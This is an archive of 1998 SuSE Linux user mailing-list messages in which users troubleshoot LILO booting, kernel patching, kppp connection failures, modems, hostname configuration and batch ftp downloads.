Ah, while Partition Magic said it was active [wrong I guess] - Sys Com said
that it was not.

>..boot into Linux using a boot disk and rerun lilo. 
>See what the dialog it spits out gives you.
>
"Warning: /dev/hdc1 is not on the first disk"
"Warning: BIOS drive 0X82 may not be accessible"
"Added Linux *"
>
And after that it works normally again - and Sys Com says its active.

Thanks Ken and to others who responded.  Appreciate you help!

Dave


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From mantel@suse.de Mon Jun 22 17:51:06 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Kernel-patching
Date: Mon, 22 Jun 1998 19:51:06 +0200
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Hi,

On Sat, 20 Jun 1998, tulf wrote:

> Is ist true, that when updating a suse-kernel,
> you need the original kernel, clean,
> than patch this to the new version,
> and then apply only one suse-patch to the latest original kernel?

Seems there are some irritations regarding the "S.u.S.E. Kernel" ;-)

First of all: There's nothing magic about the S.u.S.E. kernel. The release
cycles of the "official" kernel are so long that we keep our own version
of the kernel. But this version essentially is the official kernel plus
bugfixes plus new drivers plus updated drivers. So, as soon as 2.0.34 is
released, simply forget about 2.0.33-suse. Just consider the S.u.S.E.
kernel an interims release. As many of the patches in patch-2.0.34 have
already been contained in 2.0.33-suse, you cannot apply the official patch
from Linus against a S.u.S.E. kernel. The correct way is to uninstall the
patched kernel and install the official one. After that you can apply the
official patch from Linus.

The current 2.0.34-suse only has updates for the aic7xxx driver and for
the NCR53c8xx driver. I forgot to include the drivers for parallel port
CD-ROM drives which are still not in the official kernel.

> thanks
> arnulf

    Hubert


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From mantel@suse.de Mon Jun 22 17:54:30 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Ensonique PCI.
Date: Mon, 22 Jun 1998 19:54:30 +0200
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Hi,

On Sat, 20 Jun 1998, Michael Lankton wrote:

> misc.word.corp wrote:
> 
> > message when running make:
> > 
> > es1370.c:89: linux/modversions.h: No such file or directory.
> > 
> > (es1370 is the version number of my Ensonique card.)
> > 
> > Any idea what header file is involved here?
>  
> You answered your own question.  The header file missing is
> modversions.h and your patch is looking for it in the kernel source base
> directory.  Do "find /usr -name "modversions.h" -print".  If it shows up
> and it's in a different location that's an easy enough fix.  If not, get
> on ftp search and download the .h file stick it in your kernel source
> directory and hope it compiles without any other work on your part.

Oh no!

The file "modversions.h" is generated on kernel compile if you enable the
option CONFIG_MODVERSIONS. If you do this, remember to rebuild your kernel
and all the modules you use. It's not a good idea to use this file from
another machine.

I wonder why some driver wants to patch this file...

    Hubert


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From schullersite@NOSPAMworldnet.att.net.suse.de Mon Jun 22 18:48:56 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] boot affected
Date: Mon, 22 Jun 1998 13:48:56 -0500
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David Nelsen wrote:
> 
> At 6/22/1998, you wrote:
> >
> >Two things I can think of:
> >
> >Using System Commander, verify that your boot Linux partition is showing
> >up as an active (bootable) partition.
> >
> Ah, while Partition Magic said it was active [wrong I guess] - Sys Com said
> that it was not.
> 
> >..boot into Linux using a boot disk and rerun lilo.
> >See what the dialog it spits out gives you.
> >
> "Warning: /dev/hdc1 is not on the first disk"
> "Warning: BIOS drive 0X82 may not be accessible"
> "Added Linux *"
> >
> And after that it works normally again - and Sys Com says its active.
> 
> Thanks Ken and to others who responded.  Appreciate you help!
> 
> Dave

Well cool Dave!  :)  I'm pretty much a newbie myself, but it's great to
hear that the suggestions actually work sometimes-  gives me a
confidence boost!  Take it easy.

Ken

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From mclark@datsrvr.datsit.com Mon Jun 22 20:12:57 1998
From: mclark@datsrvr.datsit.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Internet question
Date: Mon, 22 Jun 1998 14:12:57 -0600
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AfterBurn wrote:

>
>
>     >  Hi all, I installed suse 5.2 and configured my isdn
>     > dial-up to my isp using yast. Its *seems* to work ok, it
>     > dials in and i have a good connection, only i cant get
>     > anywhere. If i try pinging different servers, the only one
>     > i get a reply from is the gateway i dial to. pings to any
>     > other server dont come back, wether i use numeric ip's or
>     > not. i cant even reach my nameserver. Any suggestions
>     > please? AfterBurn E-
>
>      How does your routing table look??
>
>      How about your /var/log/messages??
>
>      Did you check ifconfig??
>
>      We need more info to help!!
>
>      Where do i find all that, and what kind of info are you
>      exactly looking for?
>
>      AfterBurn
>
>      E-Mail : afterburn(a)phantom.cybercomm.nl
>      WWW : http://www.phantom.cyber=
comm.nl/default.html>
>      Express : 187800(a)pager.mirabilis.com
>
>      Unix is user friendly. It's just selective about who its
>      friends are.
>
>         =3D=3D=3D=3D=3D=3D<<< SCREAMIN' AT ISDN 64k/128kbps >>>=3D=3D=3D=3D=
=3D=3D
>
>
To check your route type:

route

to check /var/log/messages use:

tail -25 /var/log/messages

to check your network configuration type:

ifconfig

use these commands to determine if you are really connected.  If you
still need help, post the output of these commands to help others
understand what is happening.

mc


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From weissel@jupiter.ph-cip.uni-koeln.de Mon Jun 22 21:12:29 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] httpd can't find local host name
Date: Mon, 22 Jun 1998 23:12:29 +0200
Message-ID: <19980622231229.D22364@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, lsayre(a)integrityonline13.com produced:
> On boot, httpd gives me the message "can'find local host name".

in /etc/rc.config (or better, use YaST, so the change will be
propagated immediately) set
FQHOSTNAME="my-hostname.do.main.com" 
or whatever your full qualified hostname is.

in /etc/hosts set
0.0.0.0 my-hostname.do.main.com my-hostname my-alias-hostname

(e.g. if your machine should have the name alice-is-great in the (not
neccessarily existing) domain wonderland.org, but also (locally only)
listen to alice-is-great and alice (alice-is-great.wonderland.org is a
bit long and localhost is a bit unimaginative), set:

FQHOSTNAME="alice-is-great.wonderland.org"
and
0.0.0.0 alice-is-great.wonderland.org alice-is-great alice

)

-Wolfgang


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From chandlerrick@hotmail.com Mon Jun 22 21:43:15 1998
From: chandlerrick@hotmail.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] PCI modem
Date: Mon, 22 Jun 1998 14:43:15 -0700
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Still can't get this modem to work..  Anyone ever used a PCI modem with=20
Linux?  It's a SupraMax 56k.. =20

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From hongfeng@public.wh.hb.cn Mon Jun 22 21:55:21 1998
From: hongfeng@public.wh.hb.cn
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ftp-download in batch mode
Date: Tue, 23 Jun 1998 05:55:21 +0800
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Hi,

this is a very good message I read in this list,  as I have the same working
to do here. Since July 01, the night long distance telephone tariff will be
only 300f that of daytime (from middlenight 0:00 to 7:00 AM), I am sure
the new USENET-like network will be started since then. The skill
mentioned this message will be adopted.

It's very hard to do this on Windows 95/NT, even on NT 4.0 Server.
The worst thing on Windows NT is:   it missed the support for scripting
language, like mentioned in this message. VB is good for develop GUI,
but for sys admin like this it's tough, or nearly impossible.

O'Reilly has a Perl resource Kit for Win32, I don't if the kits can do
this for Win NT.

Best wishes,
Frederic

> But I wanted _realy_ download at night when phone rates are cheap.
> (furthermore: my ISP does not charge time between uhh 0:00 and 6:00 am).
> But I did not want to use the alarmclock. ;-)
>
> If you create the file .netrc in your home directrory, with entrys like:
>
> default user anonymous password email(a)adress.de
>
> these defaults are used when you start ftp. (no other way to get behind
> that password request of ftp)
>
> I now can use:
>
> ftp < script.ftp
>
> with script.ftp like:
> open ftp.suse.com
> cd /suse_update
> get whatever/you/want /were/ever/it/goes/to
> get anything_else
> ....
> quit
>
> I start this with "at", that makes it a nice method after all.
> fetched ghostscript update last night ;-))


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From sandyseeds@iname.com Mon Jun 22 22:44:17 1998
From: sandyseeds@iname.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] boot affected
Date: Mon, 22 Jun 1998 18:44:17 -0400
Message-ID: <199806222245.SAA01442@suse>
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On 22-Jun-98 Ken wrote:

> Using System Commander, verify that your boot Linux partition is
> showing
> up as an active (bootable) partition.
> 
I use teh network configuration in YaST to verify and activate the
bootable partitions.

HTH

Sandy


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From thehaas@binary.net Mon Jun 22 23:22:18 1998
From: thehaas@binary.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ftp-download in batch mode
Date: Mon, 22 Jun 1998 18:22:18 -0500
Message-ID: 
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My apologies for not getting in on the start of this thread but a
solution is very easy - use ncftp, not ftp.  ncftp, by default, enters in
"anonymous" and your email address for username/password when it enters a
site.  Also, if you know the complete path of the file, you can enter it
in URL format and ncftp will download it.  Example:  to download the file
"app.tar.gz" from ftp.foo.com, type this:

ncftp ftp://ftp.foo.com/pub/app.tar.gz>

and ncftp will download it for you.  ncftp also has a great interactive
mode . . .  it is one of my favorite apps . . .

of course, it is included in the SuSE distro . . .

- mikeh

>=20
> Hi,
>=20
>=20
> this is a very good message I read in this list,  as I have the same working
> to do here. Since July 01, the night long distance telephone tariff will be
> only 300f that of daytime (from middlenight 0:00 to 7:00 AM), I am sure
> the new USENET-like network will be started since then. The skill
> mentioned this message will be adopted.
>=20
> It's very hard to do this on Windows 95/NT, even on NT 4.0 Server.
> The worst thing on Windows NT is:   it missed the support for scripting
> language, like mentioned in this message. VB is good for develop GUI,
> but for sys admin like this it's tough, or nearly impossible.
>=20
> O'Reilly has a Perl resource Kit for Win32, I don't if the kits can do
> this for Win NT.
>=20
> Best wishes,
> Frederic
>=20
>=20
>=20
> > But I wanted _realy_ download at night when phone rates are cheap.
> > (furthermore: my ISP does not charge time between uhh 0:00 and 6:00 am).
> > But I did not want to use the alarmclock. ;-)
> >
> > If you create the file .netrc in your home directrory, with entrys like:
> >
> > default user anonymous password email(a)adress.de
> >
> > these defaults are used when you start ftp. (no other way to get behind
> > that password request of ftp)
> >
> > I now can use:
> >
> > ftp < script.ftp
> >
> > with script.ftp like:
> > open ftp.suse.com
> > cd /suse_update
> > get whatever/you/want /were/ever/it/goes/to
> > get anything_else
> > ....
> > quit
> >
> > I start this with "at", that makes it a nice method after all.
> > fetched ghostscript update last night ;-))
>=20
>=20
>=20
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>=20


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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
	||   Mike Hostetler       || email1: thehaas(a)binary.net   ||
	||   Linux User at Large  || email2: mhostetl(a)cse.unl.edu ||
	=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
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------ ||
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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
        ||    "I wear my unprofessionalism as a badge of honor.   ||
        ||  Professionalism has no place in art, and hacking      ||
        ||  is art."                   - Jamie Zawinski           ||=20
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From roberto@cbvcp.com Tue Jun 23 00:54:46 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PCI modem
Date: Mon, 22 Jun 1998 17:54:46 -0700
Message-ID: <358EFCD6.BB790425@cbvcp.com>
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Run 'pnpdump'.  If it doesn't recognize the modem, then you are sol, as
someone with the same modem was a few days ago.  if it doesn't work,
then you'll have to get an isa modem.

RICK CHANDLER wrote:
>=20
> Still can't get this modem to work..  Anyone ever used a PCI modem with
> Linux?  It's a SupraMax 56k..
>=20
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From TRobertson@mindspring.com Tue Jun 23 01:32:50 1998
From: TRobertson@mindspring.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Suse 5.2 and KPPP
Date: Mon, 22 Jun 1998 21:32:50 -0400
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When I try and start a KPPP session in KDE the modem dials and negotiates a
connection.  I can see in the log window where the proper login sequence is s=
ent
but before a ppp connection is established I get an error saying that "The pp=
pd
daemon died unexpectedly!".  If I use ppp-up from a terminal window a ppp
connection is established..  It seems like I saw a reference to this problem
before and someone said to delete a lock file or something.

Thanks,

Tom

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From chandlerrick@hotmail.com Tue Jun 23 02:08:39 1998
From: chandlerrick@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PCI modem
Date: Mon, 22 Jun 1998 19:08:39 -0700
Message-ID: <19980623020839.25901.qmail@hotmail.com>
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>Run 'pnpdump'.  If it doesn't recognize the modem, then you are sol, as
>someone with the same modem was a few days ago.  if it doesn't work,
>then you'll have to get an isa modem.
>
>RICK CHANDLER wrote:
>>=20
>> Still can't get this modem to work..  Anyone ever used a PCI modem=20
with
>> Linux?  It's a SupraMax 56k..
Yep, did that.  Didn't see the modem..  Now have an Acer 56k ISA. =20
AAAAHHHHHH!!!!!

Thanks..

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From bmessin@3-cities.com Tue Jun 23 02:39:06 1998
From: bmessin@3-cities.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Suse 5.2 and KPPP
Date: Mon, 22 Jun 1998 19:39:06 -0700
Message-ID: <358F154A.875A15DB@3-cities.com>
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Tom Robertson wrote:

When I try and start a KPPP session in KDE the modem
dials and negotiates a

connection.  I can see in the log window where the proper login
sequence is sent

but before a ppp connection is established I get an error saying that
"The pppd

daemon died unexpectedly!".  If I use ppp-up from a terminal window
a ppp

connection is established..  It seems like I saw a reference to
this problem

before and someone said to delete a lock file or something.

Thanks,

Tom

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 kppp will not function if there are any options set in /etc/ppp/options

That may be why comand-line ppp works but kppp doesn't. If you move
your ppp options to your ppp-up script rather than the options file you
should be able to use command-line as well as kppp. Do not delete the options
file, just remove all the text from it and add those options to your ppp-up
script. Good luck.

-- -----------------------------------------------------

Ben Messinger

bmessin(a)3-cities.com    Use
Linux.

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From jonno@printsters.com Tue Jun 23 03:10:43 1998
From: jonno@printsters.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Behaviour
Date: Mon, 22 Jun 1998 22:10:43 -0500
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Hello, all.  New to Linux, and I think it's first-rate (came from Solaris
2.5.1).  I have noticed that if I get a few processes running, however, my
mouse cursor will pause sporadically, though briefly.  Like, if I move the
mouse in a steady circular pattern, the cursor will freeze (just for half a
sec) every few times 'round, usually during a disc access or something.
I've tried renicing processes to no avail (especially the java culprit).
This is a PS/2 mouse on an IBM machine.  Is there anything I can do?  Would
the same thing happen with a serial mouse?  It makes the whole interface
experience seem jerky.  Any help would be appreciated!

__________________

Jon Snidal
jonno(a)printsters.com


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From dana@ntd.net Tue Jun 23 03:47:00 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] xboing
Date: Mon, 22 Jun 1998 22:47:00 -0500
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I downloaded both the .rpm and sources for xboing and
cannot get it working under 5.1.  The .rpm installed
fine..., but no go.  I then uninstalled it, grabed the
source, compiled (with no errors) but still nothing.

If anyone could help, please reply via email and I'll
attach the error messages when executing xboing and
other hopefully helpful info.  OR, if no one objects
I can just attach it to the list. (4k .zip)

Dana

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From dana@ntd.net Tue Jun 23 03:51:23 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PCI modem
Date: Mon, 22 Jun 1998 22:51:23 -0500
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RICK CHANDLER wrote:
> 
> Still can't get this modem to work..  Anyone ever used a PCI modem with
> Linux?  It's a SupraMax 56k..

I haven't received a reply from Diamond yet, but it seems
like
the new 2.1.106 kernel supports PCI modems and sound
cards...,
to what extent I don't know.  Anyone?  

Dana

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From dana@ntd.net Tue Jun 23 03:53:35 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Suse 5.2 and KPPP
Date: Mon, 22 Jun 1998 22:53:35 -0500
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Tom Robertson wrote:
>=20
> When I try and start a KPPP session in KDE the modem dials and negotiates a
> connection.  I can see in the log window where the proper login sequence is=
 sent
> but before a ppp connection is established I get an error saying that "The =
pppd
> daemon died unexpectedly!".  If I use ppp-up from a terminal window a ppp
> connection is established..  It seems like I saw a reference to this problem
> before and someone said to delete a lock file or something.

I believe you make sure the /etc/ppp/options file is blank.

Dana

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From chandlerrick@hotmail.com Tue Jun 23 04:03:29 1998
From: chandlerrick@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PCI modem
Date: Mon, 22 Jun 1998 21:03:29 -0700
Message-ID: <19980623040329.28121.qmail@hotmail.com>
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>RICK CHANDLER wrote:
>>=20
>> Still can't get this modem to work..  Anyone ever used a PCI modem=20
with
>> Linux?  It's a SupraMax 56k..
>
>I haven't received a reply from Diamond yet, but it seems
>like
>the new 2.1.106 kernel supports PCI modems and sound
>cards...,
>to what extent I don't know.  Anyone? =20
>
>Dana
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Well thanks Dana, but I've lost all hope and went with a ISA 56k.  Works=20
fine...   Thanks anyways.. =20

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From chandlerrick@hotmail.com Tue Jun 23 04:05:54 1998
From: chandlerrick@hotmail.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] OSS and RealPlayer
Date: Mon, 22 Jun 1998 21:05:54 -0700
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I missed most of the messages from this thread but, what I've gathered=20
is that the majority says that OSS and RealPlayer will not play nice=20
together right?  I've got OSS running (crappy sound card :-)  )  and=20
RealPlayer works great with Netscape. =20

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From hongfeng@public.wh.hb.cn Tue Jun 23 04:21:08 1998
From: hongfeng@public.wh.hb.cn
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Suse 5.2 and KPPP
Date: Tue, 23 Jun 1998 12:21:08 +0800
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Hi,

> When I try and start a KPPP session in KDE the modem dials and negotiates a
> connection.  I can see in the log window where the proper login sequence is=
 sent
> but before a ppp connection is established I get an error saying that "The =
pppd
> daemon died unexpectedly!".  If I use ppp-up from a terminal window a ppp
> connection is established..  It seems like I saw a reference to this problem
> before and someone said to delete a lock file or something.
>

I have met the same problem when I tried kppp,   I used a 486 with 8MB RAM,
it runs not so fast under X window. But I have found a way to this problem:
pls give the pppd more time in the timeout setting line, I set it at 300 seco=
nd,
and succeeded.   Perhaps someone can have better solutions?

Best,
Frederic


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From striepe@neokom.geo.uni-bonn.de Tue Jun 23 10:48:00 1998
From: striepe@neokom.geo.uni-bonn.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: Kernel-patching
Date: Tue, 23 Jun 1998 12:48:00 +0200
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> Hi,
> 
> On Sat, 20 Jun 1998, tulf wrote:
> 
> > Is ist true, that when updating a suse-kernel,
> > you need the original kernel, clean,
> > than patch this to the new version,
> > and then apply only one suse-patch to the latest original kernel?
> 
> Seems there are some irritations regarding the "S.u.S.E. Kernel" ;-)
> 
> First of all: There's nothing magic about the S.u.S.E. kernel. The release
> cycles of the "official" kernel are so long that we keep our own version
> of the kernel. But this version essentially is the official kernel plus
> bugfixes plus new drivers plus updated drivers. So, as soon as 2.0.34 is
> released, simply forget about 2.0.33-suse. Just consider the S.u.S.E.
> kernel an interims release. As many of the patches in patch-2.0.34 have
> already been contained in 2.0.33-suse, you cannot apply the official patch
> from Linus against a S.u.S.E. kernel. The correct way is to uninstall the
> patched kernel and install the official one. After that you can apply the
> official patch from Linus.
> 
> The current 2.0.34-suse only has updates for the aic7xxx driver and for
> the NCR53c8xx driver. I forgot to include the drivers for parallel port
> CD-ROM drives which are still not in the official kernel.
> 
> > thanks
> > arnulf
> 
>     Hubert

Thanks Hubert!

This cleared it up for me.

But then I really suggest, 
to put all suse-patches on your server
for the reason of being able to upadte
over more than one release and
to keep your traffic down on your server. (kernel = 7 MB!)
(It seems to be quite busy except for Sunday mornings Eurpean Time zones.)
That would help a lot.
This info should also be as precise as this in your sdb.rpm .
 
arnulf


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From wpaszko@kki.net.pl Tue Jun 23 11:18:17 1998
From: wpaszko@kki.net.pl
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Suse 5.2 and KPPP
Date: Tue, 23 Jun 1998 13:18:17 +0200
Message-ID: <98062313203300.00305@sp5rdu>
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On Tue, 23 Jun 1998, you wrote:
>When I try and start a KPPP session in KDE the modem dials and negotiates a
>connection.  I can see in the log window where the proper login sequence is =
sent
>but before a ppp connection is established I get an error saying that "The p=
ppd
>daemon died unexpectedly!".  If I use ppp-up from a terminal window a ppp
>connection is established..  It seems like I saw a reference to this problem
>before and someone said to delete a lock file or something.
>
>Thanks,
>
>Tom
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Hi.
There is file /etc/ppp/options
          IT HAS TO BE EMPTY..


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From misc.word.corp@pobox.com Tue Jun 23 11:44:30 1998
From: misc.word.corp@pobox.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: Ensonique PCI.
Date: Tue, 23 Jun 1998 07:44:30 -0400
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> Oh no!
>
> The file "modversions.h" is generated on kernel compile if you enable the
> option CONFIG_MODVERSIONS. If you do this, remember to rebuild your kernel
> and all the modules you use. It's not a good idea to use this file from
> another machine.
>
> I wonder why some driver wants to patch this file...
>
>     Hubert
>
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Hubert,

Thanks for the tip.  Sheesh -- who knows why modversions.h is necessary?

In any event, I found "modversions.h" in the Linux hacker's kernel and copied
it into the /included directory. The compiler found it okay, but got hung up
down the line.

At this point, I'll either wait for a beta (and compilable) version of the
Ensonique PCI driver -- or maybe purchase the full version of OSS.

Has anybody found that RealAudio suddenly springs into life after installing
the $20 version of OSS?  Maybe the problems some of us are having are due to
using the shareware version.  Pfenning-wise and pound foolish.

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From sodah@qatar.net.qa Tue Jun 23 12:23:42 1998
From: sodah@qatar.net.qa
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] control dyn.ip adr.
Date: Tue, 23 Jun 1998 15:23:42 +0300
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hi

i have ppp-connection to isp  via dyn. ip adr., so if i have to accept
dyn. addressing,
can i maintain some control over the addressing ? and how?

bye
fadi


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From mantel@suse.de Tue Jun 23 12:31:54 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Re: Kernel-patching
Date: Tue, 23 Jun 1998 14:31:54 +0200
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Hi,

On Tue, 23 Jun 1998, Arnulf Striepecke wrote:

> Thanks Hubert!
> 
> This cleared it up for me.
> 
> But then I really suggest, 
> to put all suse-patches on your server
> for the reason of being able to upadte
> over more than one release and
> to keep your traffic down on your server. (kernel = 7 MB!)

Have a look at /unsorted/patches/kernel-patches.tgz on CD#1. It contains
all the patches we used for our kernel. Plus several additional ones.

So, if you need the parallel port CD-ROM drivers in 2.0.34, simply do

cd /usr/src/linux-2.0.34-orig     (or whatever you named it)
patch -p1 -s < //ppcd-2.0.31

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From darkway@hotmail.com Tue Jun 23 12:48:28 1998
From: darkway@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PCI modem
Date: Tue, 23 Jun 1998 05:48:28 -0700
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I have had a problem with my modem as well.pnpdump saw it=20
thou.configured isapnp.conf it should have worked but nothing *see*'s=20
it.I don't have a friggin clue why.Thinking of getting a external hayes=20
v90.what you think?Any advice from someone who's been there?

>From owner-suse-linux-e(a)suse.com Mon Jun 22 19:16:20 1998
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>>Run 'pnpdump'.  If it doesn't recognize the modem, then you are sol,=20
as
>>someone with the same modem was a few days ago.  if it doesn't work,
>>then you'll have to get an isa modem.
>>
>>RICK CHANDLER wrote:
>>>=20
>>> Still can't get this modem to work..  Anyone ever used a PCI modem=20
>with
>>> Linux?  It's a SupraMax 56k..
>Yep, did that.  Didn't see the modem..  Now have an Acer 56k ISA. =20
>AAAAHHHHHH!!!!!
>
>Thanks..
>
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From weissel@jupiter.ph-cip.uni-koeln.de Tue Jun 23 12:58:51 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: Ensonique PCI.
Date: Tue, 23 Jun 1998 14:58:51 +0200
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Hi!

Trying to kill the keyboard, mantel(a)suse.de produced:

> > > es1370.c:89: linux/modversions.h: No such file or directory.

> > directory.  Do "find /usr -name "modversions.h" -print".  If it shows up
> > and it's in a different location that's an easy enough fix.  If not, get

> The file "modversions.h" is generated on kernel compile if you enable the
[...]
> I wonder why some driver wants to patch this file...

I'd assume the patch is ... strange. The author probably recompiled his
kernel in between with different options or something ... so look at
the patch where modversions.h is patched. Probably the patch can do
well without any changes to modversions.h ... it's mostly #include's of
linux/modules/... here and a few #define's & co, no code. 

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From darkway@hotmail.com Tue Jun 23 13:08:44 1998
From: darkway@hotmail.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] ISAPNP Modem!
Date: Tue, 23 Jun 1998 06:08:44 -0700
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Hello I am wrighting about my modem.for some resone under SuSE(5.2)
It cannot *see* it.I ran pnpdump > /etc/isapnp.conf then I edited it=20
properly and ran isapnp /etc/isapnp.conf and it says it says both boards=20
my creative awe64(value) and my 36.6 davicom modem.
But still it says it does not work.i'v tried numberious dialing programs=20
wvdial,seyon,minicom nothing "opens"
wvdial autodetcts modems and all but still doesn't detect it.
I have no idea why this maybe :| if you hadn't guess i'm a newbie to=20
this.

Another note is that to install suse i had to use the kernel with pci=20
bios access disabled.the other one would reboot my system for some=20
resone...

any suggestions/info would be greatly apreciated

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From darkway@hotmail.com Tue Jun 23 13:15:04 1998
From: darkway@hotmail.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] system reboots when loading kernel
Date: Tue, 23 Jun 1998 06:15:04 -0700
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Hello i have had a very odd problem=20
when installing SuSE i have to use the kernel with pci bios access=20
disabeld or it would reboot my system.
I do not know exsactly why this is..
but if anyone knows why it would be apreciated if they would tell me..
I had this problem before with another distro before moving to suse but=20
that distro didn't have any alternative kernels to load so i basicly=20
wasted my money i don't know exsactly whats wrong but here is my=20
hardware stats.

Amdk6 200 mhz on a M5ATA motherboard Pentium superTX system board.
Video card is a s3trio64V2(gx/dx)
cretive awe64(value)
Creative 3D blaster voodoo2 w/12meg pcibus(i kinda guess that might be=20
why..)
a isapnp modem.36.6 internal.

thats it really :|

Ack tahnks if anyone can help me

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From chandlerrick@hotmail.com Tue Jun 23 13:43:35 1998
From: chandlerrick@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ISAPNP Modem!
Date: Tue, 23 Jun 1998 06:43:35 -0700
Message-ID: <19980623134335.16147.qmail@hotmail.com>
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>Hello I am wrighting about my modem.for some resone under SuSE(5.2)
>It cannot *see* it.I ran pnpdump > /etc/isapnp.conf then I edited it=20
>properly and ran isapnp /etc/isapnp.conf and it says it says both=20
boards=20
>my creative awe64(value) and my 36.6 davicom modem.
>But still it says it does not work.i'v tried numberious dialing=20
programs=20
>wvdial,seyon,minicom nothing "opens"
>wvdial autodetcts modems and all but still doesn't detect it.
>I have no idea why this maybe :| if you hadn't guess i'm a newbie to=20
>this.
>
>Another note is that to install suse i had to use the kernel with pci=20
>bios access disabled.the other one would reboot my system for some=20
>resone...
>
>any suggestions/info would be greatly apreciated
Well, I've had simular experiences..  My ISA PnP modem worked fine.  I=20
went to Windows 95 to see what it saw it as (com 3 irq 4) and told Linux=20
to use the same and it worked.  As far as the PCI modem, I just gave up. =20
Put a ISA 56 v.90 in and bang...  it worked..

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From hongfeng@public.wh.hb.cn Tue Jun 23 13:44:46 1998
From: hongfeng@public.wh.hb.cn
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] KDE problem
Date: Tue, 23 Jun 1998 21:44:46 +0800
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Hi,

I have a problem when I use KDE: the screen gets dark suddenly and it
requires
to entry password, sometimes it returned to KDE after enter the
passwords,
but in most cases it stoped there.

Does anyone have the same problem?

Best,
Frederic


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From mgx@spruce.lsd.ornl.gov Tue Jun 23 14:09:11 1998
From: mgx@spruce.lsd.ornl.gov
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] accelerated x and bash? and list archives
Date: Tue, 23 Jun 1998 10:09:11 -0400
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good day all ...

a couple of questions: first, it seems that most of the emails in the
suse-linux email archive are in german. i enter the archive from www.suse.com
and select the appropriate north american web server. but while browsing the
archive, it ends up many of the archived emails are in german. is there a
specific english archive?

now, the real question and the reason i was browing the archive. i'm trying to
install accelerated x onto a laptop and i'm running into a bash/sh problem.
all the install scripts are sh scripts and they all give permission denied 
errors when run from bash. now it seems that sh is symlinked to bash and is 
roots shell. i'm running suse 5.2 and accel-x is version 4.1. i'm not a bash
user normally, is there a way to force bash to execute these scripts? the
scripts are all mode 555.


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From roberto@cbvcp.com Tue Jun 23 14:49:52 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE problem
Date: Tue, 23 Jun 1998 07:49:52 -0700
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hongfeng wrote:
>=20
> Hi,
>=20
> I have a problem when I use KDE: the screen gets dark suddenly and it
> requires
> to entry password, sometimes it returned to KDE after enter the
> passwords,
> but in most cases it stoped there.
>=20
> Does anyone have the same problem?

No, but what beta version are you running?  I use beta 4, and have never
experienced this problem, so it might be a remenant of something they
scrapped a while back.

--=20
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From nils@work.de Tue Jun 23 15:22:38 1998
From: nils@work.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE problem
Date: Tue, 23 Jun 1998 17:22:38 +0200
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On Tue, 23 Jun 1998, hongfeng wrote:

> I have a problem when I use KDE: the screen gets dark suddenly and it

Also known as "screen saver"...

> requires
> to entry password, sometimes it returned to KDE after enter the
> passwords,
> but in most cases it stoped there.
>=20
> Does anyone have the same problem?

Never had a problem with it... maybe it helps if you change the screen=20
saver settings or as a work-around, disable the screen saver completely.

Nils

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From brauki@cityweb.de Tue Jun 23 15:28:45 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ftp-download in batch mode
Date: Tue, 23 Jun 1998 17:28:45 +0200
Message-ID: <358FC9AD.4202D3B@cityweb.de>
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Mike Hostetler wrote:
>=20
> My apologies for not getting in on the start of this thread but a
> solution is very easy - use ncftp, not ftp.  ncftp, by default, enters in
> "anonymous" and your email address for username/password when it enters a
> site.  Also, if you know the complete path of the file, you can enter it
> in URL format and ncftp will download it.  Example:  to download the file
> "app.tar.gz" from ftp.foo.com, type this:
>=20
> ncftp ftp://ftp.foo.com/pub/app.tar.gz>
